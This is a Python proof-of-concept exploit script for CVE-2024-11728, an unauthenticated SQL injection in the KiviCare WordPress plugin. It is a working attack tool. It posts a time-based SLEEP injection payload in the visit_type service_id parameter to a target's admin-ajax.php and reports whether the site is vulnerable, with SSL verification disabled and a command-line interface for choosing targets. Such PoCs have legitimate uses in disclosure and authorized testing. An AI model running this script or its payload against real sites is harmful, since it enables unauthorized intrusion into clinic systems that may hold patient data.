#!/usr/bin/env python3
"""
CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection PoC
Author: samogod.samet.g

Description:
    Proof of Concept for Unauthenticated SQL Injection vulnerability in KiviCare WordPress Plugin <= 3.6.4.
    The vulnerability exists in the tax_calculated_data AJAX action where the visit_type[service_id]
    parameter is insufficiently escaped, allowing SQL injection attacks.

Usage:
    python3 CVE-2024-11728.py -u <target_url> [-t <timeout>] [-v]
"""

import argparse
import requests
import sys
import time
from urllib3.exceptions import InsecureRequestWarning

# Disable SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class KiviCareExploit:
    def __init__(self, url, timeout=10, verbose=False):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.target = f"{self.url}/wp-admin/admin-ajax.php"
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': '*/*'
        }

    def log(self, message, level="info"):
        """Custom logging function"""
        colors = {
            "info": "\033[94m[*]",
            "success": "\033[92m[+]",
            "error": "\033[91m[-]",
            "warning": "\033[93m[!]"
        }
        print(f"{colors.get(level, '[*]')} {message}\033[0m")

    def verify_vulnerability(self):
        """Verify if the target is vulnerable using a time-based SQL injection"""
        self.log("Testing vulnerability with time-based SQL injection...")
        
        data = {
            'action': 'ajax_post',
            'route_name': 'tax_calculated_data',
            'clinic_id[id]': '1',
            'doctor_id[id]': '1',
            'visit_type[0][service_id]': "123) AND (SELECT * FROM (SELECT(SLEEP(5)))alias) AND (1=1",
            '_ajax_nonce': '5d77fc94cf' # You need to update this nonce value 
        }

        try:
            normal_data = {
                'action': 'ajax_post',
                'route_name': 'tax_calculated_data',
                'clinic_id[id]': '1',
                'doctor_id[id]': '1',
                'visit_type[0][service_id]': "1",
                '_ajax_nonce': '5d77fc94cf' # You need to update this nonce value 
            }
            
            start_time = time.time()
            normal_response = requests.post(
                self.target,
                data=normal_data,
                headers=self.headers,
                verify=False,
                timeout=self.timeout
            )
            normal_time = time.time() - start_time
            
            if self.verbose:
                self.log(f"Normal request time: {normal_time:.2f} seconds", "info")
                self.log(f"Normal response: {normal_response.text}", "info")

            start_time = time.time()
            try:
                response = requests.post(
                    self.target,
                    data=data,
                    headers=self.headers,
                    verify=False,
                    timeout=self.timeout
                )
                elapsed_time = time.time() - start_time
                
                if self.verbose:
                    self.log(f"Injection request time: {elapsed_time:.2f} seconds", "info")
                    self.log(f"Request data: {data}", "info")

                if elapsed_time >= 4.5:
                    self.log("Target appears to be vulnerable!", "success")
                    return True
                else:
                    self.log("Target does not appear to be vulnerable.", "warning")
                    return False

            except requests.exceptions.Timeout:
                self.log("Request timed out - target is vulnerable!", "success")
                return True

        except requests.exceptions.RequestException as e:
            self.log(f"Error during vulnerability check: {str(e)}", "error")
            return False

def main():
    parser = argparse.ArgumentParser(description='KiviCare WordPress Plugin Unauthenticated SQL Injection PoC (CVE-2024-11728)')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://example.com)')
    parser.add_argument('-t', '--timeout', type=int, default=10, help='Request timeout in seconds')
    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
    args = parser.parse_args()

    print("""
    CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection
    Author: samogod.samet.g
    """)

    exploit = KiviCareExploit(args.url, args.timeout, args.verbose)
    
    exploit.verify_vulnerability()

if __name__ == '__main__':
    main()

# print('ᵐᵃᵈᵉ ᵇʸ ˢᵃᵐᵒᵍᵒᵈ')
# print('ᵐᵃᵈᵉ ᵇʸ ˢᵃᵐᵒᵍᵒᵈ')
# print('ᵐᵃᵈᵉ ᵇʸ ˢᵃᵐᵒᵍᵒᵈ')